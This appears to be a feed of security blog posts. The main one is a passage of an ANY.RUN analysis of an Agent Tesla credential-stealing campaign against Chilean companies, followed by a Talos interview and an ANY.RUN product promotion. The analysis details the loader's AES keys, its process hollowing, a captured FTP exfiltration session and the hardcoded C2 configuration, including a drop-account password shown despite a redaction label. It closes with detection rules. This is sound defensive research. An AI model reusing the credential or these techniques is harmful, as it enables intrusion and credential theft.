The loader uses RijndaelManaged (the .NET implementation of AES) with CryptoStream and explicit set_IV calls, confirming AES-CBC mode with a hardcoded key and a prepended IV. Four 256-bit (32-byte) key candidates were identified in the deobfuscated binary:

D5B7247C497788CF0031CEB06E3DF77A45FEF59F1E49633DC7159816D64759B5 

C61B1941CF756EB7551F7C661743802362728B785ADC22E860D269713DFB01A6 

C356AFF1A01C2B0DA472E584C8E3C8F875B9A24280435D42836A77B19F5A8C18 

F1C3EBE78BD8C38559BF3CFCC9A9FA37D221E31780774A3787E26160A61F5348 

The encrypted payload blob is located at offset 0x4600 in the deobfuscated binary (relocated from 0x12000 in the original), measures 2,560 bytes, and retains maximum entropy of 7.93 / 8.0, confirming the AES encryption survived deobfuscation intact. 

Dynamic Execution via Reflection

The loader avoids static linking of the final payload by using .NET Reflection to load and invoke Agent Tesla entirely from a byte array in memory. The relevant APIs observed post-deobfuscation:

API  Category  Role 
DynamicMethod / CreateDelegate  Reflection API  Runtime method generation and invocation 
ResolveMethod / GetMethod  Reflection API  Dynamic method resolution without static references 
CreateInstance  Reflection API  Object instantiation from decrypted assembly 
Assembly.Load (byte[])  Reflection API  Loads Agent Tesla PE from memory –  no disk write 

Process Hollowing — Full Win32 API Map 

The deobfuscated binary exposes the complete Process Hollowing implementation as UTF-16 P/Invoke strings. The API sequence is a textbook 32-bit hollowing with Wow64 support for 32→64-bit environments: 

API + Offset  Library  Function 
CreateProcessA @ 0x8EC4  Win32 / kernel32  Spawns aspnet_compiler.exe in suspended state 
ZwUnmapViewOfSection @ 0x8E9A  ntdll Unmaps original executable from target memory 
VirtualAllocEx @ 0x8E26  Win32 / kernel32  Allocates RWX memory in target process 
WriteProcessMemory @ 0x8E44  Win32 / kernel32  Writes Agent Tesla PE headers and sections 
ReadProcessMemory @ 0x8E6A  Win32 / kernel32  Verifies write integrity 
GetThreadContext @ 0x8DE2  Win32 / kernel32  Reads EIP/EBX from suspended thread 
SetThreadContext @ 0x8D94  Win32 / kernel32  Redirects EIP to Agent Tesla entry point 
Wow64GetThreadContext @ 0x8DD8  Win32 / kernel32  32→64-bit context read 
Wow64SetThreadContext @ 0x8D8A  Win32 / kernel32  32→64-bit context write 
ResumeThread @ 0x8D70  Win32 / kernel32  Resumes thread –  Agent Tesla begins executing 

The hollower contains hardcoded error strings —“Failed to allocate memory”, “Failed to unmap section”, “Failed to update PEB”— suggesting it was built from a reusable hollowing template with debug output preserved, a common trait in commodity malware kits. 

Execution Control Flags 

Three internal execution control strings were recovered post-deobfuscation: ALTERNATE, EXECUTE, and LAUNCH. These likely govern different execution paths within the loader — for example, switching between in-process shellcode execution and remote process hollowing depending on runtime conditions such as privilege level or AV detection. 

Stage 4 — Agent Tesla Deployed In-Memory 

The Agent Tesla payload is stored as a 2,560-byte AES-encrypted and deflate-compressed blob embedded in the loader’s .text section. The double-layering — compressed and then encrypted — ensures the payload has no recognizable structure at rest and defeats both signature and entropy-based detection. 

Value Field Notes
0x4600 – 0x5000 (deobfuscated) Location Relocated from 0x12000 in original binary
2,560 bytes Size Encrypted + compressed payload
7.93 / 8.0 Entropy Maximum – AES encryption confirmed
256 / 256 Unique bytes Fully uniform distribution
RijndaelManaged (AES-256 CBC) Cipher Confirmed via CryptoStream + set_IV calls
f87d105625dbc96f63d5b4b81dce4c39 IV candidate First 16 bytes of blob
DeflateStream Compression Applied before encryption

At runtime, the loader decrypts the blob using the hardcoded key and embedded IV, decompresses the result with DeflateStream, then uses Assembly.Load() to instantiate Agent Tesla directly from the resulting byte array in memory. No file is written to disk at any stage from this point forward — the execution is entirely fileless.

3. Payload Analysis: Agent Tesla Unpacked

Memory dumps captured during sandbox execution allowed recovery of the fully decrypted Agent Tesla payload — the binary that runs inside the hollowed aspnet_compiler.exe process. Static analysis of this dump (270,336 bytes, SHA256: 43d09743a69c9afa7156bf4e2bf7423b3d5f5ad7d54c4c3fb8a698d526778057) reveals the complete capability set and hardcoded configuration of this Agent Tesla instance.

Value Field Notes
270,336 bytes Size Full unpacked .NET assembly
43d09743a69c9afa7156bf4e2bf7423b3d5f5ad7d54c4c3fb8a698d526778057 SHA256 Decrypted payload in memory
78ba57f4a164bedc26204296ea09bb8f MD5 Decrypted payload
2024-04-23 20:27 UTC PE Timestamp Compile date – not forged in this stage
PE32 .NET EXE (GUI) Format x86, CLR, 3 sections
4.64 / 8.0 Entropy Low – plaintext IL, no remaining encryption

Hardcoded Configuration

With the payload decrypted, the complete operator configuration is visible in plaintext — the same values that were hidden behind AES-256 in the loader stage:

Value Field Notes
ftp://ftp.horeca-bucuresti.ro FTP URL C2 exfiltration endpoint – hardcoded
americas2@horeca-bucuresti.ro FTP Username Operator drop account – hardcoded
H*TE9iL;x61m FTP Password [REDACTED in publication] – plaintext in payload
http://ip-api.com/line/?fields=hosting Fingerprint URL Pre-exfil hosting check – hardcoded
roSkM / roSkM.exe Mutex / EXE name Campaign instance identifier
hdfzpysvpzimorhk Secondary mutex Anti-re-infection mutex
HnJnO Campaign tag Instance/build identifier
7bcd610d-7af6-4dc2-875b-dc4fec91463c.exe Persistence name GUID filename used for autorun copy

The FTP password recovered from the memory dump matches exactly the credentials captured in cleartext by ANY.RUN during the dynamic analysis phase, providing cross-validation between static payload analysis and live network capture.

Exfiltrated password in the sandbox analysis
Exfiltrated data in payload analysis

Credential Theft Capabilities

The unpacked payload targets over 80 applications across six categories, representing one of the broadest credential theft surface areas among commodity stealers:

Category Applications Method
Browsers (28+) Chrome, Firefox, Edge, Brave,
Opera, Vivaldi, Yandex, 360Chrome,
IceDragon, Waterfox, PaleMoon, SeaMonkey,
QQ Browser, Coccoc, Comodo Dragon,
Epic Privacy, Citrio, Amigo, Orbitum,
Sputnik, CentBrowser, Chedot, 7Star, Torch,
Elements, UC Browser, BlackHawk, Iridium
Profile dirs + SQLite Login Data
Email clients (21+) Outlook (2003–19), Thunderbird, Foxmail, Mailbird, The Bat!, Postbox, IncrediMail, Eudora, Becky!, ClawsMail, PocoMail, SeaMonkey Mail, Opera Mail, Falkon, Flock, K-Meleon, IceCat, PaleMoon, eM Client, Windows Mail App, Trillian Registry + profile files
FTP clients (9) FileZilla, WinSCP, CoreFTP, FTPGetter, SmartFTP, FTP Navigator, WS_FTP, FtpCommander, FlashFXP Config files + registry
VPN clients (5) NordVPN, OpenVPN, Private Internet Access, DynDNS, Paltalk Config + credential files
VNC servers (13) RealVNC 3.x/4.x, TightVNC (ControlPassword), TigerVNC, UltraVNC Registry keys
Messaging (8+) Discord (OAuth token via regex), Pidgin, Trillian, Psi/Psi+, Paltalk, JDownloader 2.0, MysqlWorkbench Profile + config files
Apps targeted by Agent Tesla

Keylogger

The payload implements a full system-wide keylogger via Windows hook APIs. 26 special keys are mapped to labeled tokens for inclusion in keylog reports:

{ALT+F4}  {ALT+TAB}  {BACK}  {CAPSLOCK}  {CTRL}  {DEL}
{END}  {ENTER}  {ESC}  {F10}  {F11}  {F12}
{HOME}  {Insert}  {KEYDOWN}  {KEYLEFT}  {KEYRIGHT}  {KEYUP}
{NumLock}  {PageDown}  {PageUp}  {TAB}  {Win}
 
Keylogger interval: configurable via KeyloggerInterval field
Output field:       KeylogText (appended per session)

Additional Capabilities

Clipboard Monitoring
Agent Tesla registers a SetClipboardViewer / ChangeClipboardChain hook to intercept clipboard content in real time. Captured data is tagged with <br><hr>Copied Text: <br>and appended to the exfiltration report. This is particularly effective for capturing copied passwords, API keys, and cryptocurrency wallet addresses.

Screenshot Capture
A configurable screenshot module captures periodic desktop images. The interval is controlled by the KeyloggerInterval setting. Screenshots are base64-encoded and included in the HTML exfiltration report alongside stolen credentials.

Persistence Mechanisms

The payload supports multiple persistence methods, selectable at build time:

  • Registry Run key — HKCUSoftwareMicrosoftWindowsCurrentVersionRun[StartupRegName];
  • Startup folder — copies itself to %APPDATA%MicrosoftWindowsStart MenuProgramsStartup ;
  • Task Scheduler — creates a scheduled task for persistence without registry artifacts;
  • GUID-named copy — drops as 7bcd610d-7af6-4dc2-875b-dc4fec91463c.exe to blend with system files.
Other evasion methods

Anti-Analysis / Anti-VM

The payload performs environment checks before proceeding, scanning for indicators of analysis environments:

Indicator Method Target
VMware / vmware Process/file check VMware guest detection
VirtualBox Registry/file check VirtualBox guest detection
SbieDll.dll DLL presence check Sandboxie sandbox detection
cmdvrt32.dll DLL presence check Comodo sandbox detection
SxIn.dll / Sf2.dll / snxhk.dll DLL presence check Avast/Sophos sandbox detection
Malware detects sandbox environments

Exfiltration Report Format

The HTML report generated by Agent Tesla and uploaded to the FTP drop server follows a fixed template, reconstructed from the payload strings. The format observed in the ANY.RUN network capture matches exactly:

Time: [MM/dd/yyyy HH:mm:ss]
User Name: [Windows username]
Computer Name: [hostname]
OSFullName: [Windows edition]
CPU: [processor model from WMI Win32_Processor]
RAM: [available RAM in MB]
<hr>
Host: [URL where credentials were stolen from]
Username: [stolen username]
Password: [stolen password]
Application: [browser/client name]
<hr>
[...additional credential blocks...]
<hr>Copied Text: [clipboard contents]

This template is hardcoded in the payload and has remained consistent across multiple Agent Tesla v3 builds observed in LATAM campaigns. The ‘Time:’ field uses MM/dd/yyyy format, which combined with the Spanish-language lures, suggests the operator targets both English and Spanish-speaking environments.

Exfiltration report in the sandbox

4. Dynamic Analysis: Behavioral Confirmation

Detonating the full infection chain in ANY.RUN’s Interactive Sandbox provided behavioral confirmation of the attack and captured artifacts that static analysis alone could not reveal.

Process tree

Agent Tesla process chain

The full process execution chain observed in the sandbox:

  • WinRAR.exe (PID 8100) → extracts .jse dropper;
  • wscript.exe (PID 2392) → executes .jse, drops PS1 stagers, downloads decoy PDF;
  • powershell.exe (×4: PIDs 4600, 6116, 6240, 6412) → stager execution with bypass;
  • aspnet_compiler.exe (PID 7720) → hollowed process – executes Agent Tesla payload.

Pre-Exfiltration: Victim Fingerprinting

Before exfiltrating stolen data, Agent Tesla performs a geolocation and hosting provider check via ip-api[.]com. This common stealer pattern verifies the victim is not running inside a sandbox or corporate proxy before proceeding with exfiltration:

GET http://ip-api.com/line/?fields=hosting HTTP/1.1
Host: ip-api.com
 
→ Response: false  (victim is not a hosting provider)
→ Agent Tesla proceeds with exfiltration

ANY.RUN flagged this request with the Suricata rule: “ET MALWARE Common Stealer Behavior — Source IP Associated with Hosting Provider Check via ip-api.com”, confirming the pre-exfiltration fingerprinting behavior.

Suricata rule triggered by possible fingerprinting

Credential Theft

The sandbox confirmed active credential theft from web browsers. The behavioral indicators observed:

  • Accesses Chrome and Firefox browser profile directories and credential store databases;
  • Reads saved password and autofill data;
  • Formats captured credentials as HTML report for exfiltration;
  • Collects system fingerprint: hostname, username, OS version, CPU model, RAM.

FTP Exfiltration

The most critical finding from dynamic analysis was the capture of cleartext FTP credentials and exfiltration traffic. FTP operates without transport encryption by default, making the full authentication handshake and data transfer visible in the network capture:

220 Welcome to Pure-FTPd [privsep] [TLS]
331 User americas2@horeca-bucuresti.ro OK. Password required
USER americas2@horeca-bucuresti.ro
PASS [REDACTED]
230 OK. Current restricted directory is /
STOR PW_admin-DESKTOP-JGLLJLD_2026_03_27_17_19_15.html
226 File successfully transferred (3.79 KB/s)

The exfiltrated file follows a consistent naming convention: PW_[username]-[hostname]_[timestamp].html. This structured naming allows the operator to efficiently process stolen credentials from multiple victims in the drop directory.

Agent Tesla exfiltrating data

The following Suricata rules fired during the exfiltration phase:

  • ET MALWARE AgentTesla Exfil via FTP
  • ET MALWARE Agent Tesla CnC Exfil via TCP
  • STEALER [ANY.RUN] AgentTesla Exfiltration (raw TCP) (×2)
  • SUSPICIOUS [ANY.RUN] Possible admin username observed in outbound connection
  • HUNTING [ANY.RUN] Windows PC hostname observed in outbound connection
  • HUNTING [ANY.RUN] Host CPU Enumeration observed in outbound connection

5. Threat Infrastructure Analysis

The C2 Server: 89.39.83.184

The exfiltration target — ftp.horeca-bucuresti[.]ro resolving to 89[.]39[.]83[.]184 — is a legitimate Romanian hospitality business website that has been compromised and repurposed as a drop zone. This operational security tactic makes network blocking harder and attribution more difficult, since blocking the IP may affect a legitimate business.

Querying the IP on VirusTotal reveals 80 malicious files that have communicated with this server, with the earliest samples dating to September 2024 — confirming the infrastructure has been actively maintained for at least 18 months.

Files communicating with the C2 server

Campaign Scope: A LATAM-Focused Operation

Analysis of the 80 samples communicating with this infrastructure reveals a clear targeting pattern focused on Spanish-speaking Latin American enterprises. Pivoting on the campaign in ANY.RUN Threat Intelligence Lookup with the query submissionCountry:”cl” AND threatLevel:”malicious” confirms Chile as the primary submission country, and surfaces correlated behavioral artifacts including the mutex localsm0:6816:304:wilstaging_02, the Firebase Storage decoy PDF download URL, and all 10 Suricata network threats – all tied to aspnet_compiler.exe as the injected process.

Malicious file search in TI Lookup

The filenames observed in the communicating files paint a consistent picture:

Filename Type Targeting Context
Orden de compra.xlam / Orden de Compra.xlam Office macro lure Chile / Peru / Generic LATAM
OC 20240814.xlam / OC 20240813.xlam Office macro lure Dated purchase orders
Nómina de sueldos.pdf_008.exe EXE disguised as PDF Payroll – HR department targeting
Comprobante de pago.pdf.exe EXE disguised as PDF Payment receipt – finance targeting
Nomina_Sept2025_Confidencial.xlam Office macro lure Confidential payroll – HR targeting
Orden – N652120.008.xlam Office macro lure Numbered order – supplier targeting
givingbestthingsalwaysfor.hta HTA dropper English – possible wider targeting

The Passive DNS history further reveals that the same IP hosted subdomains used as email relay infrastructure: email.v.todotramitesperu.com.elgartizocon[.]ro and email.elrif[.]com — patterns consistent with mail relay abuse to increase phishing email deliverability.

6. MITRE ATT&CK Mapping

Technique ID Evidence
Phishing: Spearphishing Attachment T1566.001 RAR archive with financial lure delivered via email
Obfuscated Files or Information T1027 JScript Encoded .jse dropper evades AV
Command and Scripting: JavaScript T1059.007 wscript.exe executes .jse dropper
Command and Scripting: PowerShell T1059.001 Stager with -ExecutionPolicy Bypass
Process Injection: Process Hollowing T1055.012 ALTERNATE.dll injected into aspnet_compiler.exe
Software Packing / Virtualization T1027.002 .NET Reactor 6.x with VM + control flow obfuscation
Credentials from Web Browsers T1555.003 Chrome, Firefox credential store access confirmed
Exfiltration Over Alternative Protocol: FTP T1048.003 Cleartext FTP to ftp.horeca-bucuresti.ro:21
System Information Discovery T1082 CPU, RAM, OS version enumeration pre-exfil
System Network Configuration Discovery T1016 External IP lookup via ip-api.com

Early Detection: Using ANY.RUN Against Agent Tesla Campaigns

ANY.RUN’s Interactive Sandbox is particularly effective for early detection of sophisticated multi-stage loaders like this Agent Tesla campaign. Security teams should integrate the following practices:

  • Proactive Sample Submission: Upload suspicious attachments (especially RAR archives with non-standard extensions like .uu, .jse, or macro-enabled Office files) immediately upon receipt for interactive analysis.
  • Behavioral Monitoring: Use ANY.RUN’s real-time process tree visualization and Suricata rule matching to identify Process Hollowing into aspnet_compiler.exe, PowerShell stagers, and FTP exfiltration patterns.
  • Threat Intelligence Pivoting: After identifying a C2 indicator (e.g., ftp.horeca-bucuresti[.]ro or IP 89.39.83[.]184), pivot within ANY.RUN Threat Intelligence to uncover related samples and campaign scope.
  • Team Training: Conduct regular red-team exercises in the interactive environment to train analysts on recognizing .NET Reactor-protected loaders and fileless execution techniques.
  • Automated Workflows: Integrate ANY.RUN via API for high-volume email gateway triage, enabling rapid quarantine of matching threats before they reach end users.

Accelerate investigations and enrich security workflows
Detection, threat intelligence, hunting, proactive defense.



Start here


Detection Recommendations

Network-Level (Suricata/Snort)

# Detect AgentTesla FTP exfiltration by filename pattern
alert tcp $HOME_NET any -> $EXTERNAL_NET 21 (
  msg:"AgentTesla FTP Credential Exfil - PW_ prefix";
  flow:established,to_server;
  content:"STOR PW_"; depth:8;
  content:".html";
  sid:9000001; rev:1;
)
 
# Detect pre-exfil hosting check
alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"AgentTesla - ip-api hosting provider check";
  http.uri; content:"/line/?fields=hosting";
  sid:9000002; rev:1;
)

YARA Rule

rule AgentTesla_ALTERNATE_Loader {
  meta:
    description = "Detects ALTERNATE.dll Agent Tesla loader (.NET Reactor 6.x)"
    author      = "0xOlympus"
    date        = "2026-03-27"
  strings:
    $pdb  = "ALTERNATE.pdb"  ascii
    $name = "ALTERNATE.dll"  ascii
    $aes  = "AesCryptoServiceProvider" wide
    $dec  = "CreateDecryptor"          wide
    $va   = "VirtualAlloc"   ascii
    $wpm  = "WriteProcessMemory" ascii
  condition:
    uint16(0) == 0x5A4D
    and all of ($pdb, $name)
    and all of ($aes, $dec)
    and any of ($va, $wpm)
}

Sigma Rule

title: AgentTesla Process Hollowing via aspnet_compiler.exe
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: "\powershell.exe"
    Image|endswith:       "\aspnet_compiler.exe"
  filter_legit:
    CommandLine|contains:
      - "-f "
      - "-v "
  condition: selection and not filter_legit
falsepositives:
  - Legitimate .NET compilation tasks (rare outside dev environments)
level: high
tags:
  - attack.t1055.012
  - attack.t1059.001

Email Gateway Recommendations

Block or quarantine emails containing attachments matching these patterns:

  • Extensions .uu, .jse, .vbe inside archives;
  • Macro-enabled Office files (.xlam, .xlsm) from external senders in procurement contexts;
  • Filename patterns combining financial terms (orden, nomina, comprobante) with executable extensions.

Important Observations

This investigation yields several actionable findings for security teams in Chile and the broader LATAM region:

The campaign is persistent, not opportunistic

The threat actor has operated continuously since at least mid-2024 using the same FTP infrastructure (89.39.83[.]184) while iterating on lure documents. This is a sustained operation with deliberate LATAM focus.

Dynamic analysis is non-negotiable for this family

.NET Reactor 6.x with virtualization and control flow obfuscation significantly raises the cost of static analysis. Organizations relying solely on static AV will miss this family. Dynamic analysis in sandboxes like ANY.RUN provides the detection coverage that static tools cannot.

FTP exfiltration remains dangerously undermonitored

Despite being a decades-old protocol, FTP exfiltration continues to succeed because most organizations focus monitoring on HTTP/S. Since FTP operates in cleartext, when it is captured, full credentials and data content are visible — but only if outbound FTP traffic is logged and inspected.

Financial and procurement roles are high-value targets

The consistent use of purchase order and payment receipt lures indicates deliberate targeting of accounts payable and procurement departments. Targeted security awareness training for these roles represents a high-ROI defensive investment.

How ANY.RUN Accelerated This Investigation

Several phases of this investigation would have been significantly slower or impossible without ANY.RUN. Here is where the platform made a direct impact:

Interactive Detonation

Unlike fully automated sandboxes, ANY.RUN’s interactive environment allowed real-time observation of the infection chain. This was critical for the .jse stage, which checks for user interaction before proceeding — a common evasion technique that automated systems fail to bypass.

Agent Tesla detonated in ANY.RUN Sandbox

Automatic Network Threat Detection

ANY.RUN matched 6 Suricata rules against the network traffic automatically, immediately confirming the Agent Tesla family and the FTP exfiltration behavior. In a traditional lab setup, this would require manual PCAP capture, Wireshark analysis, and custom rule development.

Cleartext FTP Capture

The cleartext FTP session — including the authentication handshake, the C2 hostname (ftp.horeca-bucuresti[.]ro), and the exfiltrated filename pattern — was captured in full by ANY.RUN’s network interception layer and presented directly in the Network tab, reducing analysis time from hours to minutes.

Threat Intelligence Pivoting

Using the C2 IP as a pivot point in ANY.RUN Threat Intelligence (combined with VirusTotal), we surfaced 80 related malicious samples, identified the 18-month campaign timeline, and mapped the full scope of LATAM targeting — transforming a single sample investigation into a comprehensive campaign report.

Appendix: Complete IOC Reference

Indicator Type Description
948C8C69FE02EDA9231AEBFA5C626335307058AC74A5C3C40B346179A1BFC982 SHA256 RAR dropper
A7EEEAD9C868D9944ED1C1F113328F32 MD5 RAR dropper
B50B3800B17AD7AD5C4483C0B6B24D1D151A9D10 SHA1 RAR dropper
7929355856A2A85D48F95D230CD74FBB5AD554BED49E73B1800136C4BCCCD1A8 SHA256 .jse encoded dropper
CD83F5CEB2D014BADFA991106A9D37A6AEAB9043D60D796AD0F16D36CDFA5703 SHA256 PowerShell stager (all variants)
96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 SHA256 PS stager template
89.39.83[.]184 IPv4 FTP C2 – MALICIOUS – block immediately
ftp.horeca-bucuresti[.]ro FQDN FTP C2 hostname – MALICIOUS
208.95.112[.]1 IPv4 ip-api.com (victim fingerprinting)
americas2@horeca-bucuresti[.]ro FTP account Operator drop account
C:Temp[A-Z]{8}.ps1 Path regex Dropped stager pattern
PW_[user]-[host]_[timestamp].html Filename pattern Exfil output format
ALTERNATE.dll / ALTERNATE.pdb Binary strings Internal loader identifiers

About ANY.RUN 

ANY.RUN delivers cybersecurity solutions designed to support real-world SOC operations. They help security teams understand threats faster, make informed decisions, and operationalize threat intelligence across detection, investigation, and response workflows. 

The company’s solutions include Interactive Sandbox for enterprise-grade malware analysis, as well as ANY.RUN’s Threat Intelligence with its modules Threat Intelligence Lookup and Threat Intelligence Feeds, providing continuously updated intelligence based on live attack analysis. 

Used by over 15,000 organizations and 600,000 security professionals worldwide, ANY.RUN is SOC 2 Type II certified, ensuring strong security controls and protection of customer data. 

Request access to ANY.RUN’s solutions →  

Q1: What makes this Agent Tesla campaign different from others?

It uses a sophisticated .NET Reactor-protected loader with Process Hollowing and has operated persistently against LATAM targets for over 18 months using the same infrastructure.

Why are Chilean companies specifically targeted?

Rapid digitalization, prevalent use of email for business documents, and relatively lower security maturity in SME supply chains.

Can standard antivirus stop this attack?

Often not. The heavy obfuscation, fileless execution, and legitimate process injection frequently bypass static AV. Dynamic analysis is critical.

What should employees do when receiving a suspicious purchase order?

Verify the sender through a separate channel and avoid opening attachments from unexpected sources.

How can we detect the FTP exfiltration?

Monitor outbound FTP traffic (port 21) and look for filenames starting with “PW_” followed by username and hostname.

How can ANY.RUN help my security team?

It provides interactive detonation, automatic threat detection, and intelligence pivoting that accelerate both analysis and proactive defense.

The post LATAM Under Siege: Agent Tesla’s 18-Month Credential Theft Campaign Against Chilean Enterprises appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

Breaking things to keep them safe with Philippe Laulheret

Breaking things to keep them safe with Philippe Laulheret

In the latest Humans of Talos, Amy sits down with Senior Vulnerability Researcher Philippe Laulheret to demystify the world of ethical hacking. Philippe shares his unique journey from French engineering school to the front lines of cybersecurity, explaining how his lifelong love for solving puzzles helps him uncover critical security flaws before they can be exploited.

From his memorable experiment using a green onion to bypass a biometric fingerprint reader to his perspective on the reality of cybersecurity versus what we see in the movies, Philippe provides a fascinating look at the work that keeps our digital world safe.

Amy Ciminnisi: So, can you talk to me a little bit about what you do in vulnerability research?

Philippe Laulheret: I work in vulnerability research. Basically, my job is to find vulnerabilities in software, hardware, or things physically. It’s an interesting position because I usually get to choose which target I want to look at, which confuses people usually, because usually it’s a consulting role, or someone asks you to do that. But for us, we find vulnerabilities in things that we think are important. And then this way, people in different teams can write detection rules, and our customers are protected.

AC: I love that you get to kind of pick a niche and explore. How did you get into this?

PL: My deepest interest was more in reverse engineering, which is understanding how things work, software in particular. Throughout my whole life, I was really curious and really wanted to understand stuff. I guess research is an extension of that where you need to understand how the system works, and then it’s a puzzle where you need to find a way to break it. In my teenage years, I was really interested in that. I started playing Capture The Flag, which are challenges where people design exercises where there is a bug to find and exploit. It was really fun. I was doing that to stay sharp with my skills, and eventually, I was able to transition from regular development work to actual research. All those years of playing CTF really helped, even if it wasn’t professional.

AC: Did you go to school initially for development work? What kind of career path led you here?

PL: Originally, as you can hear, I have a French accent. In France, we have engineering schools, which are fancy grad schools. The process is first you study very hard in math and physics, and then you go to grad school. At that time, I was convinced I wanted to do security, and I joined an electrical and computer engineering school. Somehow, in that school, I discovered an interest for different aspects of software development. I was getting interested in computer vision and other things. When I moved to the U.S. for development work instead of security work, I worked in a design studio for four years, which was really fun. I was making interactive installations. But as I said, I was playing CTF on the side to keep security pretty high in my head. Eventually, I moved to New York and joined a cybersecurity startup, and finally, I moved back to the Pacific Northwest, where I’m currently living, and I was finally able to do vulnerability research the way I wanted to.


Want to see more? Watch the full interview, and don’t forget to subscribe to our YouTube channel for future episodes of Humans of Talos.

Cisco Talos Blog – ​Read More

New SOC-Ready Reporting for Faster Triage, Escalation, and Incident Response with ANY.RUN 

Successful SOC operations require more than accurate detections. Instant access to context, clear conclusions, and operationally relevant insights allow incidents to move across workflows without delays: 

  • During alert triage, analysts need a quick threat overview to decide on the next steps. 
  • Efficient incident response decisions demand clear, actionable context to rely on. 
  • Swift incident reporting requires cross-tier visibility without the need for manual processing of raw technical data. 

Making ANY.RUN’s Interactive Sandbox a part of your standard SOC workflow helps eliminate bottlenecks that occur along the incident lifecycle by contributing to the optimization of each process, decision, and report. 

SOC-ready Tier 1 reports turn complex sandboxing analysis into structured, decision-ready intelligence for faster, efficient triage, escalation, response, and reporting. 

Executive Summary 

  • Whether operating as an internal SOC or delivering MDR and MSSP services, organizations need investigation workflows that scale efficiently under growing alert volumes. 
  • ANY.RUN’s Interactive Sandbox with Tier 1 Reports helps standardize triage, escalation, and incident reporting by becoming a decision-support layer for your security operations. 
  • Enterprise Suite teams can optimize sandbox investigations and reporting across the SOC at scale with unlimited Tier 1 report generation. 
  • The result is faster investigations, consistent escalations with less context lost, and optimized incident documentation for confident decisions and risk prioritization. 

Challenges SOC Teams Face Today  

With SOC teams continuously investigating suspicious files, URLs, phishing pages, and malware samples, turning the resulting massive volume of technical findings into actionable operational context fast enough to support efficient response becomes the key challenge. 

The lack of standardized reporting leads to: 

  • Slow triage due to excessive manual work for Tier 1 
  • Higher pressure on Tier 2/3 and incident response team due to lack on ready-to-apply context  
  • Context loss during escalations and critical delays occur 
  • Additional burden falling on SOC managers without clear visibility into incident severity and business impact 

ANY.RUN’s Interactive Sandbox already simplifies malware and phishing analysis through interactive, real-time investigation. Now, with Tier 1 Reports and AI Summary, it supports decision-making and reporting acrossSOC operations. 

Phishing sample analysis in ANY.RUN Sandbox 

SOC-Ready Reporting Built Into the Analysis Workflow 

New Tier 1 reports are integrated into SOC workflows through and offer complete, structured documents with operationally useful insights. 

Tier 1 report includes:   

  • A clear verdict on the analyzed sample   
  • AI Summary featuring threat classification and executive summary 
  • Key IOCs and behavioral indicators  

They can be generated directly within the Interactive Sandbox in a single click, making sandbox analysis immediately usable across operational workflows. 

Clarity for analysts. Visibility for decision-makers.
Faster response across the SOC.



Optimize Your SOC Workflow


Use Case #1: Fast Threat Understanding for Tier 1 During Triage 

Via Tier 1 reports featuring AI Summaries, ANY.RUN’s Interactive Sandbox provides immediate answers to the most critical questions that occur during alert triage

  • Is the sample malicious? 
  • What behavior indicates that? 
  • What type of threat is involved? 
  • What MITRE ATT&CK TTPs and IOCs are present? 
  • Does the incident require escalation? 
Threat verdict and tags at the top of Tier 1 reports already provide key info on the analyzed object 

Instead of manually reviewing raw technical data to answer these questions with confidence, the sandbox provides this context automatically in the form of a ready-to-use report that covers all findings into a clear operational document for fast and substantiated decision-making. 

ANY.RUN’s Interactive Sandbox & Tier 1 Reports  
Operational Impact  Business Impact 
Faster alert validation  Consistent triage quality  
Reduced manual enrichment   Better analyst productivity
Fewer unnecessary escalations  Reduced operational overhead 

Use Case #2: Easy Access to Context for Tier 2, Tier 3, IR teams  

In case of an escalation, Tier 2 analysts and incident responders frequently need to reconstruct investigation context manually before proceeding with containment. 

Raw sandbox outputs take time to process and interpret, stretching investigation time and creating friction, as higher tiers essentially have to go back to triage stage for verification. 

With Tier 1 reports, analysts get a structured information to pass on at the early stage, making ANY.RUN’s Interactive Sandbox more smoothly embedded into the entire investigation cycle, from triage to response

Clear breakdown of detected MITRE ATT&CK TTPs inside Tier 1 report 
ANY.RUN’s Interactive Sandbox & Tier 1 Reports  
Operational Impact  Business Impact 
Reduced friction during handoffs  Better collaboration between teams  
No context lost in the process  Full visibility for decision-makers 
Accelerated investigation pipeline  Optimized operations across tiers  

Use Case #3: Immediate Clarity for Decision-Makers 

SOC managers, Heads of SOC, and CISOs don’t have time to review every technical artifact associated with an incident. Traditional reports may contain too many low-level details, whereas security leaders must assess the general business impact and urgency of a threat. 

ANY.RUN’s Interactive Sandbox optimizes the hand-off workflow with a concise overview of the analysis in operational language suitable for leadership. 

With AI Summary as part of the structure, the report explains what happened, why the object is malicious, which assets or systems may be at risk.  

As a result, analysis outputs become standardized and practical, making them immediately usable for decision-making and internal communication. 

ANY.RUN’s Interactive Sandbox & Tier 1 Reports  
Operational Impact  Business Impact 
Faster incident understanding    Better executive visibility 
  
Easier communication between teams    Faster prioritization through clarity 
Consistent incident documentation  Stronger operational governance 

Hands-On Case: Generating a Response-Ready Report on a Phishing Attack 

View analysis 

In this phishing investigation, the Tier 1 report provides a clear, operational overview of the entire attack chain, helping both analysts and leadership quickly understand the threat severity and required response actions. 

AI Summary further structures the findings into operationally relevant context suitable for triage, escalation, and internal communication: 

AI Summary providing a clear, structured overview of the threat 

The AI summary highlights the detection of a ClickFix phishing technique, followed by PowerShell execution with Execution Policy bypass attempts used to launch malicious activity on the host. It also outlines payload delivery behavior, subsequent system modifications, and persistence attempts through Windows Registry changes. 

Instead of manually reconstructing the attack flow from raw sandbox telemetry, analysts receive a ready-to-use interpretation of the incident that can immediately support escalation and response workflows. 

The complete attack chain, behavioral indicators, and resulting conclusions are already structured for operational use and are ready for further processing: escalation, IR hand-off, and containment. 

Turn sandbox analysis into confident SOC decisions

with interactive investigations and refined reporting



Power Your SOC with ANY.RUN


From Analysis to Action: Faster Escalations, Response, and Reporting 

The new Tier 1 reports featuring AI Summary deliver direct operational value across the SOC: 

  • Faster Triage: Tier 1 analysts can quickly understand the nature of the threat and make confident decisions on whether to close or escalate alerts. 
  • Streamlined Escalation Process: Tier 2 and IR teams receive well-structured context instead of raw data, reducing handoff time and miscommunication. 
  • Accelerated Incident Response: Teams gain rapid visibility into attack behavior, helping reduce Mean Time to Respond (MTTR). 
  • Improved Internal Reporting: SOC managers and CISOs get consistent, professional summaries that are easy to read and share with stakeholders. 
  • More Consistent Performance: Standardized reports reduce quality variation between analysts and lower the risk of human error. 

